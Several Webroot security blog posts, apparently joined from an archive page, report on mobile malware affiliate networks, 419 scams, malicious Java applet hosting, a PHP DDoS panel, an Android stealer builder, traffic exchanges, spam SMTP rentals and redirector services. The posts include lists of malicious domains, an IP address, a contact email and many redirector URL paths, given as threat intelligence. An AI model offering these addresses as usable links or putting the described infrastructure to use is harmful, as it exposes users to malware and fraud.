Related obile malware domains known to have participated in campaigns courtesy of the same affiliate network: *3xplay.ru adtivirusmobile.mobi advdemo.ru allnokia88.ru allnokia99.ru allwapup.ru android4plays.ru awtoforum.ru browserupdate.mobi burniyson.org funkit-fot-you.ru google-video.ru htavefg.ru java-praktika.ru kopiivipshop.ru lwupdate.ru market-mobile.tk mid2psys.mobi mob-in-portal.mobi mobi-fotoppz.ru mobpornn.biz my-hut.ru news-top.info newsmobi.info opera-mini-software.ru opera-seven.ru operablock-in.mobi operamini-7-5.ru operamobi-in.mobi operanew-in.mobi operanew-in.ru operaupdate-in.mobi operaupdate-in.ru playsmarket.mobi poppnuha.ru rap-schokk.ru scaner.biz serv-nokia.ru shwap.mobi soft-ipad.tk soft-iphone.tk sotkina.pp.ua tutnauka.ru update-brows.tk vandroide.ru wapadults.mobi xvideos-porno.mobi xxx-tubesex.ru xxx4iphone.ru xxx4mobile.ru zonanauki.ru*

We expect to continue observing in an increase of mobile mobile pushed through affiliate networks, empowering underground market participants with the managed infrastructure, the systematically rotated undetected mobile malware samples, and the actual monetization vector to take advantage of in the first place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

419 advance fee fraudsters abuse CNN's 'Email This' Feature, spread Syrian Crisis themed scams - Webroot Blog

facebook linkedin twitter

Opportunistic **419 advance fee scammers** are currently using CNN.com's "Email This" feature to **spamvertise Syrian Crysis themed emails,** in an attempt to successfully bypass anti-spam filters. Ultimately tricking users into interacting with these fraudulent emails. The emails are just the tip of the iceberg in an ongoing attempt by multiple cybercrime gangs, looking to take advantage of the geopolitical situation (event-based social engineering attack) for fraudulent purposes, who continue spamming tens of thousands of emails impersonating internationally recognized agencies, on their way to socially engineer users into believing the legitimacy of these emails.

Sample screenshot of the spamvertised email:

This isn't the first time we've seen them abusing a legitimate Web site's "Email This" feature. Followed by the most recent **abuse of Google Calendar** , we've also observed 419-ters abusing legitimate Web sites back in 2009 (**Dilbert.com** and **NYTimes.com**), and we believe we'll continue seeing such type of abuse, taking into consideration the fact that 419-ers are constantly seeking for new and pragmatic ways to bypass anti-spam filters.

How to prevent falling victim to such type of attacks? **Go through these tips.**

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Managed Malicious Java Applets Hosting Service Spotted in the Wild - Webroot Blog

facebook linkedin twitter

In a series of blog posts, we've been profiling the tactics and **DIY tools** of novice cybercriminals, whose malicious campaigns tend to largely rely on social engineering techniques, on their way to trick users into thinking that they've been exposed to a legitimate **Java applet window** . These very same malicious Java applets, continue representing a popular infection vector among novice cybercriminals, who remain the primary customers of the **DIY tools/attack platforms** that we've been profiling.

In this post, I'll discuss a popular service, that's exclusively offering hosting services for malicious Java applets.

Sample screenshot of the service:

For a one time fee of $20, the service offers detailed statistics about how people ran the applet hosted on their server, as well as the ability to clone a popular website to be later on automatically embedded with a custom malicious Java applet on it. The service is also offering managed rotation of typosquatted domains to its prospective customers, in an attempt to make it easier for them to operate their campaigns.

Based on our initial analysis on the service's operations, we can easily conclude that its operators lack the experience and motivation to run it, compared to that of sophisticated **bulletproof hosting providers** , like the ones we've already profiled in the past. Nevertheless, its public availability has already empower multiple novice cybercriminals with the hosting services necessary to achieve their malicious objectives.

Although we believe that this a short-term oriented market niche international underground market proposition, we'll continue monitoring its development.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Web-based DNS amplification DDoS attack mode supporting PHP script spotted in the wild - Webroot Blog

facebook linkedin twitter

The idea of controlling multiple, high-bandwidth empowered servers for launching DDoS attacks, compared to, for instance, controlling **hundreds of thousands** of **malware-infected hosts** , has always tempted cybercriminals to 'innovate' and seek pragmatic 'solutions' in order to achieve this particular objective.

Among the most recent high profile example utilizing this server-based DDoS attack tactic is **Operation Ababil** , or **Izz ad-Din al-Qassam a.k.a Qassam Cyber Fighters** attacks against major U.S financial institutions, where the **use of high-bandwidth servers was utilized** by the attackers. This indicates that wishful thinking often tends to materialize.

In this post, we'll take a peek inside what appears to be a command and control PHP script in its early stages of development, which is capable of integrating multiple (compromised) servers for the purpose of launching distributed denial of service attacks (DDoS) taking advantage of their bandwidth.

More details:

Sample screenshots of the administration panel of the PHP script:

Currently, the PHP script supports four types of DDoS attack tactics, namely DNS amplification, spoofed SYN, spoofed UDP, and HTTP+proxy support. The script also acts as a centralized command and control management interface for all the servers where it has been (secretly) installed on. It's currently offered for $800.

Just like we've seen in numerous other cybercrime-friendly underground market releases, in this case, the author of the PHP script is once again forwarding the responsibility for its use to potential customers, and surprisingly, in times when **fake scanned**

IDs continue getting systematically abused by cybercriminals , is expressing his trust in the user legitimization methods applied by his payment processor of choice – WebMoney.

We believe that this tool will eventually get abused by its customers, and we'll continue to monitor its future development.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY malicious Android APK generating 'sensitive information stealer' spotted in the wild - Webroot Blog

facebook linkedin twitter

Back in June, 2013, we offered **a peek inside a DIY Android .apk decompiler/injector** that was not only capable of 'binding' malicious Android malware to virtually any legitimate app, but also, was developed to work exclusively with a publicly obtainable Android-based trojan horse.

In this post, I'll profile a similar, recently released cybercrime-friendly Windows-based tool that's capable of generating malicious 'sensitive information stealing' Android .apk apps, emphasize on its core features, and most importantly, discuss in depth the implications this type of tool could have on the overall state of the Android malware market.

More details: **Sample screenshots of the malicious Android .apk generating 'sensitive information stealer':**

The cybercriminal is capable of stealing WhatsApp messages (only on rooted devices), SMS messages, personal info, contacts and photos, and can also be made to auto-start, or be triggered by a specific SMS message sent to the device. The stolen data can then be configured to be sent back to the attacker, using the existing connection of the victim, or in an 'all-in-one' zip file to a pre-configured email account.

Not surprisingly, cracked versions of the 'sensitive information stealer' are already circulating in the wild.

What's also worth emphasizing on in terms of the relevance of such tools in today's Android malware market segment, is that automation, efficiency and QA (Quality Assurance) are likely to continue getting applied to commercially available underground market releases, that enable virtually anyone who purchases them to generate undetected pieces of malicious software for the Android platform, to be later on monetized through an affiliate network.

Moreover, in times when **mobile traffic can be purchased/abused on the fly** , and redirected to any given URL provided by a potential cybercriminal, we expect to continue observing an abuse of **cybercrime-friendly underground market traffic exchanges** , in combination with either **the direct compromise of a legitimate host** , or actual hijacking of a trusted/verified Google Play account through data mining a botnet's infected population as a tactic of choice.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercrime-friendly underground traffic exchanges help facilitate fraudulent and malicious activity - part two - Webroot Blog

facebook linkedin twitter

The list of monetization tactics a cybercriminal can take advantage of, once they manage to hijack a huge portion of Web traffic, is virtually limitless and is entirely based on his experience within the cybercrime ecosystem.

Through the utilization of **blackhat SEO (search engine optimization)** , **RFI (Remote File Inclusion)** , **DNS cache poisoning** , or direct impersonation of popular brands in spam/phishing campaigns tactics, on a daily basis, traffic is sold and resold for achieving a customer's or a seller's fraudulent/malicious objectives, and is then most commonly converted to malware-infected hosts.

In this post, I'll profile two **cybercrime-friendly iFrame traffic exchanges** , with the second 'vertically integrating' by also offering spamming services, as well as services violating YouTube's ToS (Terms of Service) such as likes, comments, views, favorites and subscribers on demand, with an emphasis on the most common ways through which a potential cybercriminal can abuse any such traffic exchange network.

More details:

Sample screenshot of the statistics for the cybercrime-friendly iFrame traffic exchange:

The sudden peaks of traffic activity clearly indicate that this OPSEC-aware — lack of advertising, doesn't list the participating sites, has no ToS, etc. — traffic exchange is failing to achieve a scalable and efficient approach for the acquisition of new publishers.

The second service not only offers a variety of traffic purchasing methods, but also, has a ToS (Terms of Service) explicitly prohibiting the use of malware and exploits. Now, what could go wrong with that? Historically, cybercriminals are known to have been mixing both legitimate and purely malicious infrastructure to achieve their objectives. With this in mind, it shouldn't be surprising that a potential cybercriminal could easily abuse the massive traffic — based on their business pitch — aggregated by the second service, largely thanks to its lack of skills, experience and technical know-how when enforcing its ToS (Terms of Service).

Moreover, the service is also relying on basic 'vertical integration' practices in an attempt to acquire more customers by offering pseudo email marketing service, and services violating YouTube's ToS.

Sample screenshots of the traffic inventory offered for sale:

Sample YouTube ToS violating services:

Sample screenshot of the "email marketing" service:

We expect to continue observing more iFrame traffic exchanges popping up on our radar, whose activities we'll continue profiling in an attempt to put the spotlight on this monetization tactic/direct infection vector.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals offer spam-ready SMTP servers for rent/direct managed purchase - Webroot Blog

facebook linkedin twitter

We continue to observe an increase in underground market propositions for spam-ready bulletproof SMTP servers, with the cybercriminals behind them trying to differentiate their unique value proposition (UVP) in an attempt to attract more customers.

Let's profile the underground market propositions of what appears to be a novice cybercriminal offering such spam-ready SMTP servers and discuss their potential, as well as the re-emergence of **bulletproof SMTP servers** as a propagation method of choice.

More details:

Sample diagram emphasizing on the effectiveness of the spam-ready SMTP servers:

The pricing scheme used by the cybercriminal(s) behind the service:

It's fairly evident that the service's lack of bandwidth, compared to that of a massive botnet, may not necessarily impress a cybercriminal wanting to 'crunch out' tens of millions of fraudulent/malicious emails on a daily basis. However, in terms of targeted attacks, surgical 'striking' of a potential market segment of interest to the cybercriminals with 'Inbox delivery assurance' is crucial for a successful campaign.

Years ago, **opportunistic cybercriminals** relying on the **'product marketing concept'** tried 'pushing' it on to the (cybercrime) market, in an attempt to **change the rules of the game** , empower their customers with **sophisticated spam/phishing filters bypassing** solutions and, of course, cash out, while gaining the underground market credibility for pioneering **a new era in the world of spamming** .

We believe that these ‘spamming appliances’ indeed materialized, and continue getting used by OPSEC (Operational Security) aware cybercriminals, along with the evident re-emergence of the bulletproof SMTP server as a means of reaching out to potential victims.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DIY automatic cybercrime-friendly 'redirectors generating' service spotted in the wild - Webroot Blog

facebook linkedin twitter

Redirectors are a popular tactic used by cybercriminal on their way to trick Web filtering solutions. And just as we’ve seen in virtually ever segment of the underground marketplace, demand always meets supply.

A newly launched, DIY ‘redirectors’ generating service, aims to make it easier for cybercriminals to hide the true intentions of their campaign through the use of ‘bulletproof redirector domains’. Let’s take a peek inside the cybercriminal’s interface, list all the currently active redirectors, as well as the actual pseudo-randomly generated redirection URLs.

More details:

Sample screenshots of the client’s interface of the service:

Currently working redirectors: *t0link.in* – 93.179.68.240 – Email: nabo@gnail.pw
sl1i.info – 93.179.68.240 – Email: nabo@gnail.pw
co0s.ru – 93.179.68.240
7ltd.biz – 93.179.68.240

Inactive redictors: *1to.pw net-to.be go-net.us 1ooz.asia ytoo.eu mes1.de*

Sample currently active redirectors at t0link.in in a hxxp://t0link.in/PSEUDO_RANDOM_URL.php fashion:
0JLlEcTMzH.php 0K4f3Asutb.php 0RdcgOLEt6.php 0SZAKtVMnr.php 0TanjEFXCG.php 0XfodM0xC1.php 0YablYnrM8.php 0ZtLn6uXO1.php 0cpT4AJfH4.php 0eHz2HdGmZ.php 0hfyehm72i.php 0i10CaoCmt.php 0rTNifozeh.php 0yTB1SJItH.php 033JyVJkL0.php 0374XZOFeH.php 1AndiVuMAA.php 1FIRhMCEas.php 1MeFgNPiu8.php 1SoMFNClx6.php 1UZ6iKNBSa.php 1VYzoUM9lE.php

1ZIC5rgONn.php 1dLmZnIT0e.php 1e106pAtDj.php
1eRnLcS3nX.php 1hj8KzI3O9.php 1lLdH2hRrC.php
1ITEK1B4bv.php 2A5Dj3rf9I.php 2C4C5A6LRF.php 2L6iKPBsig.php
2OsNvRhonu.php 2P1xVvuLbN.php 2PT75OUbrK.php
2SFv1p02rF.php 2XOe4bIjbo.php 2gt87BvODj.php
2pD9uH6nVS.php 2rRMyxvx91.php 2v4I4FKDmc.php
2xSF4DI9p5.php 3DRIjH9Bp1.php 3EPx8hAuxH.php
3GT5EnuFcu.php 3LoSnTX9VB.php 3MnBX9inbC.php
3NnD8PXSKS.php 3PFAhM0tCO.php 3PVOiLK2Py.php
3PzXanxB66.php 3TVCXDmakc.php 3YNrv4knus.php
3ZMuv6oNDe.php 3aFn4g0YT5.php 3cuVzPOCiu.php
3dMpbdTfCY.php 3rYsHcLUCu.php 3t1Z3enUn7.php
3tiZEAXca1.php 3x8ifDb7m7.php 4AMu2DEzYE.php
4CczJhGGVG.php 4JsIKuN4EZ.php 4k35xBidUe.php
4vHHvcJ00D.php 4zb9IrFinO.php 5C7UPJdIVi.php 5J8e0oZ274.php
5OpMxHYbTd.php 5Pu0L69EUn.php 5RTAVAR6Bx.php
5RYOc3GbK3.php 5Xsm39zbV1.php 5amXScZLcd.php
5fVuo05Vuc.php 5iGjdm2y3s.php 5ijjrphKcl.php 5jS0V0Xoc6.php
5mLIoS9P03.php 5naGs8gGpy.php 5p6Bj2UhMy.php
5rKhgNPZOB.php 5tRJeB6yds.php 5vPrY9JtCP.php 6Jvp8KIXlF.php
6LmnFS6zTo.php 6NXd3m1CpX.php 6RvuRS6rLp.php
6RzlzjSYl5.php 6SpM3pa2dX.php 6TA1mznyPK.php
6d5fRvcF11.php 6drlj6rp2D.php 6h9NgmrZNj.php 6m6p9485TO.php
6zerNb2RcT.php 6zgV3FrKe3.php 7Gd9JTgANn.php
7O7gPaSMEK.php 7R4Z9krrDG.php 7T4SCVSFdh.php
7Z4DEhT8tr.php 7dJFKXC1PT.php 7djhdue39L.php
7eamVVdoMX.php 7hvyTl77JT.php 7kPJOTTGSz.php
7mjHc9O9m6.php 7yz7MXn2IH.php 7z9Tm0yIoI.php
8ALfaXnf35.php 8Bvd1hKLPv.php 8DGuEJgZfe.php
8Fv4pzRsmt.php 8JBepunFVt.php 8K8fAofLnO.php
8S9yfYNGav.php 8SoP4riyV9.php 8aT6MIDy2v.php
8dDJBS3PZ4.php 8fUmgzaiuD.php 8huDM80a6m.php
8in30uY9r0.php 8jU3u4m0eO.php 8mOrU7jPCO.php
8pLOUcjlBh.php 8yy77L2DRG.php 9ChNyKMEaV.php
9INPiEKJRn.php 9NAJjkBFcA.php 9Ph4DZ0rK7.php
9f1K1ozBAY.php 23jpJnfkse.php 24ttgfZ1e6.php 27GPttOp6i.php
27kECrfFTY.php 28XzeYHgUf.php 29tF1bzBsx.php 36UfkYtbfE.php

36tuj5tnC5.php 41EVOHyB1Z.php 41LxZvIIvt.php 41XC8ZRZaz.php
41jmA40hoj.php 48YciamMoC.php 49Ok3Tim8i.php
52AgbTtngE.php 54gyt0fKv3.php 62RmOTZe8V.php
67sfudgeZf.php 69L9PMFVpv.php 73N4FxdbNn.php
84xcNZN5Y1.php 88durSLaCR.php 92TPlDOui0.php
93RStvRz3i.php 445LYz5odO.php 446OrJ8YI1.php 748is1Fgm2.php
767McpKXAL.php 769hNIbsU9.php 895Vi4En1R.php
1441sB6FGu.php 4385X823sb.php 7539s73Ymm.php
A012H3asm8.php A3ePKgIpnO.php A4rJbXCsgn.php
A8zBy5ilCM.php AHVFndLIE8.php AHsK8AlP8m.php
AIpOxxK7P9.php AKednyyRLb.php ALnfY7vjUE.php
AMmVAiXmia.php AOnP7bb2Ga.php AUODjPiGl4.php
AbzrFXe7dD.php AfFxJF0J97.php AiL7LvsL3y.php AkhgOIKtnM.php
AlGkMfMX4M.php AptzBVtlOz.php ArMrjDDMCS.php
BAaoyDydrS.php BDxGrRi1NE.php BPnzpEAy6M.php
BRTtT4pR13.php BTVJ1pa8tB.php BdLzHXxfA2.php
BeobZjya8v.php BfvD7YMJ05.php Bgp7ycs7o4.php
Bhd79dYXjn.php ByzaKZ4KEb.php C0hCjvjEtb.php
C1EI2ZX2oI.php C2hZJ2B6m6.php C3gyrDUmU7.php
C6XGJmiPkt.php CCRbci4vnx.php CHHja2TMxu.php
CJxChBUozk.php CKNjyFmXia.php CTgNevMcBr.php
CXZK7Naz4S.php CbKYPOd5yr.php Cc5SxAggf7.php
CcPUJEodPJ.php CehsxmEV8X.php Cg6xB6jFYL.php
CkzA7aNhRA.php Cpy3xGTp21.php Cs3Kl5KDRV.php
D4r76L5F3k.php D6covazr6R.php D6sXAOCPHF.php
D25kbhiRAF.php D82rk5jboy.php DAiIUUrErv.php
DHMjamNSOV.php DIZGcHbivv.php DIeCjZPiai.php
DOcXmyNuO4.php DTpaL648sR.php DULsVNvzG9.php
DZG2ampVFt.php DbTCOCkpe2.php DcTvYOVTpN.php
DhJM9YuEJx.php Dio6Hg8UFc.php Dj5J2OiUmV.php
DozAkYdAhl.php DtAlzyaG9R.php E5Xpntz2tv.php
E6aueDJHk0.php E44V4ZJMaz.php EDDNEms5y2.php
EE0xl9v3by.php EG2dntigPj.php ENbKYPfSYC.php
EY1EbKB0Ig.php EZ65KsDEA8.php EerjI1P1jI.php Ef17aMitcY.php
EfTyF1lVzA.php EnAORd8oZc.php EsAZblR9VJ.php
Eyn9mLOHZc.php FC1ElxgT7z.php FCcH6JLjpM.php
FLefZfbzk3.php FUSyBZt3xG.php FUxSPTgEut.php

FaX3guogZP.php FgkvNvf8bH.php FlNhebFuHp.php
FnnLdHYEMh.php Fp9ynbhFON.php Frl4jHOSp5.php
Ft2ZZu97yN.php FzV08Rivcs.php GAJpGboHmN.php
GIBbZhjGdF.php GIaXoOu4pF.php GJDCSdyZ63.php
GJPmemtdUx.php GL4zkHuG9l.php GMkaB5FNPX.php
GNgj6BrJ1J.php GTGXBxL3zp.php GYYK4Rth5d.php
GejRo8lbno.php GiJjk14zmJ.php GjeYgAZXoP.php
Gl9bv2UNB4.php GmJ4rp9yni.php GsC9UlMl58.php
Gt8CCpUGFI.php GzOGF6jfmg.php H9bZPylGS3.php
H80ryn8pXo.php H99rT71SiH.php HDN00bFlJ6.php
HFRTaeDsLl.php HGT7D42H4T.php HHPJxe11c2.php
HHPYpZM32V.php HLANZFzLjo.php HOkxdV7Jab.php
HP7kP5osgS.php HPH70AFvYp.php HYm2fd6S1j.php
HfYsV4epYX.php HiIA0C3AXz.php Hoyrf5KGEk.php
HrUXpdLKoz.php HueUgul2ce.php HurcFVfela.php
HuvhLx93kC.php HzP9T8oMts.php I59IEIC1hm.php
IA7DEgKa9Y.php IERGRxgKp1.php ILnIHsO1vg.php
IRGgS4IcKD.php IRJIZAhmDn.php IUXEO7l93L.php
IXZskHY8Xs.php IYxCHoIlfN.php IfEZFLaOdt.php IjluNAMhIj.php
IkIJhrtouX.php IoKSoe9yEu.php IuxnRV3RvR.php Ivg7xElAcJ.php
J0iLNkSv3h.php J9HGzr74zV.php J9MFxHGvLL.php
JE1sZPkghr.php JHO3p0ZvJl.php JLlIC2XtyC.php JMKIL75Ohi.php
JeNNfikTdV.php JgrlFcDZom.php JjY3A8Bc18.php Jzd46BiAUV.php
K4PNmYUdF6.php K6vi93i0ts.php KFD1OY2Azt.php
KFOigOmezh.php KMkPauzXGL.php KMxjUEROXu.php
KOB5gfEXvb.php KOauz400Im.php KTMrLaT0GH.php
KXSo2iESPn.php KaHMCsiYPm.php KceGT9AUVA.php
KfiPi59ZdC.php Kga0hBYyHY.php Km5GPUBljl.php
KyaiEHf0hX.php L0XtOhGok2.php L4oM0amGPL.php
LAPvxjsixp.php LDzrXj3APL.php LIaVgPh35g.php LND12jEceg.php
LXAXa59bZH.php LZ9Hgssvxo.php LcPhk9HZGJ.php
LnC7osS0x9.php LsLkbmYfU3.php LyCv3PnjkM.php
LyNVPE4kuk.php M4BmXazm7p.php M26mlZ41BV.php
MGN65K701k.php MHYznInFlZ.php MN64uky1Ta.php
MUfRxBH2rX.php MVJH945VlL.php MaXXGOIioG.php
MbOc9LyRGu.php MjL2RadSE0.php MltCr3hJpY.php
MmsbzKU470.php Mo2CbtnT7j.php MrDOLU47Ra.php

```
MurztGkgpE.php      MzE6Iab7IZ.php      N4NlMJJBXU.php
N47Ii29JXn.php      NC2j9IiIAk.php      NG0uBgJCp6.php
NGb4jToKuN.php      NS3UVxAnxa.php      NSttM9O3Hl.php
NUkxKC8jUV.php      NVNBEhc9aA.php      NZSKMil0bH.php
NbTPrV36u5.php      Ne3ep8GUtA.php      Nf7yEdm7jE.php
NjGjnt6n6s.php      NnBz9C2877.php      Nocie0JHS7.php
NpLUpHzIAD.php      NupNXXCicr.php      NyT1oP923e.php
O4FFUyhLng.php      O7iX4RviKU.php      OEnPeG7Dvx.php
OFj8evujdM.php      OGFJSRs7SC.php      OKZo33uuce.php
OPPnumoXIB.php      OPaoO1POm7.php      ORrPx8gdl1.php
OT4a2OJHcR.php      OXpsmsFGdv.php      OdIx21P6fa.php
Oeo5fnK858.php      OfRMgrOzbG.php      OffvPK4mYa.php
Ogc9fOJBF2.php      OhDDouFkxx.php      OjUviOvkCO.php
OkZXgFYKd0.php      OnUlb7GPbf.php      OoEuiT9boh.php
Op7KuMbhn6.php      P9v7jjI8oF.php      P3245pK7nm.php
PBVFymOSnx.php      PBfSErZMsU.php      PDjc47iAyD.php
PEHdxsSRdB.php      PEJF54udpS.php      PEZEaJI2Gh.php
PEiFxUYhuG.php      PHelzilxFu.php      POvfTbaU5s.php
PRYuSYFhCC.php      PSBYY4lNSG.php      PV94N5789c.php
PdY4L7EBM0.php      Pg7RCMoGji.php      Pj8OSLKN14.php
PrCX8gASZa.php      R0gJyDoGu0.php      R5kUKBcpey.php
R6GvUUb1Fd.php      RKe3B53Uok.php      RMenyZN3af.php
RNIdteLgxo.php      RPXK3CmDpe.php      RVSaZxL2zC.php
Re1N6jgOIp.php      RhKCXp4ioo.php      Rj2cvS1nnL.php
RzMMNpE6cs.php      S2GrRpgHVB.php      S2zDGVxd6o.php
S4EOEonKmN.php      S9fKfh7CgN.php      SGmdlEXx7f.php
SR4gr37LXr.php      SZiUcGEEaI.php      SalZ9HUzu5.php
SbZUsIeMpi.php Se1jlUiKlP.php ShlHoum2g3.php SpJiC9PLma.php
Su4veAUu4m.php      SuOmSfPU9z.php      SyoAymnhoo.php
SzxdCF19Xs.php      T1OYTj43Uo.php      T5j5aY6BJJ.php
T6RASFtaG3.php      T8kGUtFrCM.php      TEkiVPHZMh.php
TH8dDZXAI4.php      TIfyXGPMd0.php      TJ3peV4edH.php
TJB9H2fIDL.php      TPOysvkv0B.php      TXHemjHVl1.php
TXZ9N5Xg8c.php      Tez45iMa3m.php      TjGZRxhAl5.php
TjMj2FEzG6.php      TsrvKYyey0.php      Tu3PIxUI7E.php
TvmFmSzxJz.php      TyfNV710zB.php      U8NdKHDV70.php
UBb4IyzK0h.php      UDrc1B9iAf.php      UEfcJHLFv2.php
```

UGOEEpRd7n.php UL1HAB7zOV.php ULEFsZpll6.php
UN0FvscVZH.php URvU4e7rHV.php UaKJUvyN2G.php
UazvnDMdZC.php UeglydtM3h.php Uf0k5Dpbfu.php
UfZx3gDXjz.php UiZGItej5J.php UjtgXIl9P0.php V0SIcdca81.php
VHov3dAFK6.php VJHDih4i1O.php VUZgireCV5.php
VZF7ujSFsp.php Vi4grUfg0X.php ViadNRGI4N.php Vjrch8gKAL.php
VlSIGYvXTx.php Vm68RnTySG.php Vo05eho1ga.php
VtAarbl20f.php VvOGBCiuz1.php VxEicVuxph.php
VzDbFHhJuU.php X0hNrHK3YN.php X2nJpuXaON.php
X3gUmZ4HEx.php X5gdLRoSxf.php X6cakR5C66.php
X8PNmjvGV0.php XByJy16M5d.php XDJ3asStP9.php
XE6zYUIHgr.php XFcLJDdKZ6.php XGADjSo2tp.php
XJ36ikv6fC.php XKK0LHolV2.php XTV4g6p5oU.php
Xfg0r7hB5K.php XhGkkguLOK.php XjEn6gJgvk.php
XlvN97vGo6.php XoA5OCPUxb.php XtNhk1dsj2.php
Y2ueDV82AI.php Y4eglXr36y.php Y31ECr3GMB.php
YFcFZ1NcTO.php YG1HjgCvAm.php YNjYeM23xC.php
YOJAiFc8n2.php YOeg31xU1J.php YP194gHpx3.php
YPcL9cJp0o.php YTJRgc8c16.php YUTXizKFiC.php
YXOpPRuyHx.php YdrxKP0hS2.php YfYd0RmyY6.php
YipCZx9Fld.php YnOkApSVho.php YtlAEYovji.php Z0hNx66Z7f.php
Z2fAyLRPB9.php Z5z7zU4d4b.php ZEAhfP2jrR.php
ZFGzrPmbDn.php ZMISTXilo8.php ZMrlFA2Utn.php
ZNOLraxuHb.php ZPizL2f7uv.php ZPpmr87jrv.php ZUef93Rgvg.php
ZVnVgLo6K5.php ZYtIUbAzB9.php ZZtDD9VVvn.php
Za4XZ1R7j1.php Zgh24iiNvn.php Zgy4EHXmsU.php
ZjBXDp2gES.php Zu1y6LHu0M.php a1PomY5ceh.php
a8EBomph8B.php a24Rm2OyAu.php a69xKuksVe.php
aBG4iPINAH.php aBcmdh8zRT.php aICtr7tvND.php
aKOvPa8717.php aLo08B7DtZ.php aOsnFFcEas.php
aYDoBy2TXG.php acmJ95NasS.php aet7EssDl4.php
alKfO6yhDX.php aoSG2M7Hg9.php ashPNemV3m.php
auP1NguOvi.php avcpfc4Vbb.php az1vL2Et03.php
b0zmPRXMJY.php b4BmydZ6D0.php b5U5fDpzz2.php
b7jfeDDxRh.php b9CY7VFlFc.php bBkBsk0OOD.php
bF34Y2F0e3.php bFf2GyemBj.php bHVpNgjcoG.php
bIcdpAYfeG.php bIefRneyxS.php bJ07tX2F7x.php bJcNYvvdCg.php

bK0fYlipKX.php bLmhftPbNU.php bleMeGl2at.php blv9Il3iRa.php
briUgl5psR.php brnIeomNGf.php busRVEMxfK.php bzcscNKlpN.php
bzeH0T6fHK.php c0EH2P5rhx.php c49UKm6Jg8.php
cAHBpyOohT.php cDCjMnDFDo.php cDdvAobcyr.php
cDzrmHrOAj.php cJI7YuS6AL.php cKmTID2BNV.php
cLjAv6UHfb.php cM0C84XRZB.php cOf1BdR9ln.php
cOlTYMTxh9.php cPFVt3hgum.php cUAv0MVFfb.php
cY2A1z1dTx.php ccN7OyZfcz.php ccSzIfknRT.php
ceX5OVpR8F.php cgZZdZRHbl.php cn7Xgx40TT.php
cuY7UUh9NM.php cvgBR4Y19f.php cxcNyEx8AB.php
cyCjFyovei.php d8xsYNb3JO.php d410Jf2gL8.php dABr2o5UvX.php
dAcDih83Kz.php dBLVZIlvhK.php dLoVHHMbxt.php
dV80S8Lsza.php dX7rIrTngj.php dYsiOEo3UG.php
dbIPNGmolb.php dcSSU9y7Zo.php djyo1e6ogk.php dlDfGdLJtu.php
dltCdbCu4F.php druR5OvITR.php dtfkFJ6S1p.php duRD9Hxzab.php
e1iGaSkEPo.php e1oUdy9pUA.php e2BzulfDyZ.php e3l1IYrbzo.php
e5CESTlpks.php e8j8gm7jTG.php e9hZgjnb9h.php eB4L0zPgHf.php
eCxu2Ufmhl.php eIph687nSn.php eKJXYafeyr.php eZ7otHrbOB.php
el9m3cloMD.php elbnLkrfk8.php emJCVVrLCY.php eooInTn6sm.php
epxKDyPZ47.php exL3selcCr.php eyf4N8l2YX.php f6L38rheXB.php
f7vruRlCtk.php f10IgLIS22.php f55efsB76p.php f97o0ozcPi.php
f98gbSyeTp.php fHCEDX1NES.php fMVyyO27Y5.php
fNMltNjLCn.php fRxzCKKZ49.php fVzpXBcPyR.php
fYzB14DZev.php febCit7Iob.php ftirjZ7k3A.php fxLRBXthOC.php
g0gY86CN4V.php gCBoBiC95T.php gD4FcrhoSX.php
gEm9NgzVpY.php glia6proRz.php gJTvDhvyGb.php
gMYRoRV8Jx.php gUlztE10zR.php gdOE8OP6il.php
ghvYBR3gnY.php gjtCoj6TSe.php gnCC6ao6PL.php
gnHCTeeYcm.php gtxkM4kZPC.php h7AoaJFaks.php
h8bGv5Rnyv.php hAM3MYJjKN.php hBSszIxcKL.php
hC9dcDJcdv.php hECienhpax.php hNFOeG7yr5.php
hSzAO3RlyO.php hbPzmPIuA6.php heBVpPbRdU.php
hgDzAY7US9.php hguA3F7U35.php hi0K8k0pjK.php
hkbZBLvoUU.php hkpi1NmlKh.php hl5KRS2VJb.php
hlbgpAGb3n.php hmpv2A00Vr.php hndOVrdol9.php
ho4X7U25Nv.php hpm3cBh1lH.php hs4Y6B6b67.php
htdP6vsb65.php hy5JrcfTlD.php hyILA0O5jz.php hyON6Zp6dH.php

*hzaN2c2XGT.php i0SNCAdsEc.php i3dtxNC4tE.php
i8m7DGuNXb.php i82Oi5uMcF.php iEv662SjlX.php iJl2I6TGG7.php
iLuXzoOMee.php iTmK9ITCVX.php iaGAz5mt9g.php
iiGgDvMFCv.php iicLpaeBN1.php ithRzK9SVs.php iyO5YPxciG.php
j2bSFmKuSa.php j6gGVpMlEb.php j8sMhvdmcl.php
jAoKz1Zunh.php jJ5Rgfstl4.php jJE8IXp19I.php jOLrBFnnEm.php
jP7Yl9Ing0.php jYtZVhu1F4.php jaJupNELOa.php jeD4GH2C2D.php
